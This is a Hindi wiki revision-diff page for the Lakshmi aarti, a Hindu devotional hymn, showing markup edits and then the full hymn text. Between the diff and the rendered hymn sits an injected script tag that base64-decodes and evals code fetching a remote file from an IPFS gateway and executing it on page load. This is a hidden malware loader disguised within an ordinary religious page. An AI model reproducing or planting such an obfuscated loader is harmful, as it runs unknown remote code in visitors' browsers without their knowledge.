"लक्ष्मी जी की आरती" के अवतरणों में अंतर
(५ सदस्यों द्वारा किये गये बीच के ७ अवतरण नहीं दर्शाए गए) | |||
पंक्ति १: | पंक्ति १: | ||
− | {{menu}} | + | {{menu}} |
− | ==लक्ष्मी जी की आरती== | + | ==लक्ष्मी जी की आरती / Laxmi Arti== |
[[चित्र:Lakshmi.jpg|thumb|250|लक्ष्मी <br />Lakshmi]] | [[चित्र:Lakshmi.jpg|thumb|250|लक्ष्मी <br />Lakshmi]] | ||
− | + | *[[लक्ष्मी]] जी की पूजा के समय यह [[आरती पूजन|आरती]] की जाती है। | |
'''ॐ जय लक्ष्मी माता मैया जय लक्ष्मी माता''' | '''ॐ जय लक्ष्मी माता मैया जय लक्ष्मी माता''' | ||
− | ॐ जय लक्ष्मी माता, मैया जय लक्ष्मी माता | + | <poem>ॐ जय लक्ष्मी माता, मैया जय लक्ष्मी माता |
− | तुम को निस दिन सेवत, मैयाजी को निस दिन सेवत | + | तुम को निस दिन सेवत, मैयाजी को निस दिन सेवत |
− | हर विष्णु विधाता . | + | हर विष्णु विधाता . |
− | + | ॐ जय लक्ष्मी माता ... | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | ॐ जय लक्ष्मी माता .. | ||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | उमा रमा ब्रह्माणी, तुम ही जग माता | |
− | ओ मैया | + | ओ मैया तुम ही जग माता . |
− | + | सूर्य चन्द्र माँ ध्यावत, नारद ऋषि गाता | |
− | ॐ जय लक्ष्मी माता .. | + | ॐ जय लक्ष्मी माता .. |
− | |||
− | + | दुर्गा रूप निरन्जनि, सुख सम्पति दाता | |
+ | ओ मैया सुख सम्पति दाता . | ||
+ | जो कोई तुम को ध्यावत, ऋद्धि सिद्धि धन पाता | ||
+ | ॐ जय लक्ष्मी माता .. | ||
− | + | तुम पाताल निवासिनि, तुम ही शुभ दाता | |
− | + | ओ मैया तुम ही शुभ दाता . | |
− | + | कर्म प्रभाव प्रकाशिनि, भव निधि की दाता | |
− | + | ॐ जय लक्ष्मी माता .. | |
− | + | जिस घर तुम रहती तहँ सब सद्गुण आता | |
− | तुम | + | ओ मैया सब सद्गुण आता . |
− | + | सब संभव हो जाता, मन नहीं घबराता | |
− | + | ॐ जय लक्ष्मी माता .. | |
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | |||
− | + | तुम बिन यज्ञ न होते, वस्त्र न कोई पाता | |
+ | ओ मैया वस्त्र न कोई पाता . | ||
+ | ख़ान पान का वैभव, सब तुम से आता | ||
+ | ॐ जय लक्ष्मी माता .. | ||
− | + | शुभ गुण मंदिर सुंदर, क्षीरोदधि जाता | |
− | + | ओ मैया क्षीरोदधि जाता . | |
− | + | रत्न चतुर्दश तुम बिन, कोई नहीं पाता | |
− | + | ॐ जय लक्ष्मी माता .. | |
+ | महा लक्ष्मीजी की आरती, जो कोई जन गाता | ||
+ | ओ मैया जो कोई जन गाता . | ||
+ | उर आनंद समाता, पाप उतर जाता | ||
+ | ॐ जय लक्ष्मी माता ..</poem> | ||
− | [[ | + | [[Category: कोश]] |
− | [[ | + | [[Category:भगवान-अवतार]] |
− | [[ | + | [[Category:भक्ति]] [[Category:आरती संग्रह]] |
__INDEX__ | __INDEX__ |
०३:३२, १९ मई २०१० के समय का अवतरण
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
लक्ष्मी जी की आरती / Laxmi Arti
ॐ जय लक्ष्मी माता मैया जय लक्ष्मी माता
ॐ जय लक्ष्मी माता, मैया जय लक्ष्मी माता
तुम को निस दिन सेवत, मैयाजी को निस दिन सेवत
हर विष्णु विधाता .
ॐ जय लक्ष्मी माता ...
उमा रमा ब्रह्माणी, तुम ही जग माता
ओ मैया तुम ही जग माता .
सूर्य चन्द्र माँ ध्यावत, नारद ऋषि गाता
ॐ जय लक्ष्मी माता ..
दुर्गा रूप निरन्जनि, सुख सम्पति दाता
ओ मैया सुख सम्पति दाता .
जो कोई तुम को ध्यावत, ऋद्धि सिद्धि धन पाता
ॐ जय लक्ष्मी माता ..
तुम पाताल निवासिनि, तुम ही शुभ दाता
ओ मैया तुम ही शुभ दाता .
कर्म प्रभाव प्रकाशिनि, भव निधि की दाता
ॐ जय लक्ष्मी माता ..
जिस घर तुम रहती तहँ सब सद्गुण आता
ओ मैया सब सद्गुण आता .
सब संभव हो जाता, मन नहीं घबराता
ॐ जय लक्ष्मी माता ..
तुम बिन यज्ञ न होते, वस्त्र न कोई पाता
ओ मैया वस्त्र न कोई पाता .
ख़ान पान का वैभव, सब तुम से आता
ॐ जय लक्ष्मी माता ..
शुभ गुण मंदिर सुंदर, क्षीरोदधि जाता
ओ मैया क्षीरोदधि जाता .
रत्न चतुर्दश तुम बिन, कोई नहीं पाता
ॐ जय लक्ष्मी माता ..
महा लक्ष्मीजी की आरती, जो कोई जन गाता
ओ मैया जो कोई जन गाता .
उर आनंद समाता, पाप उतर जाता
ॐ जय लक्ष्मी माता ..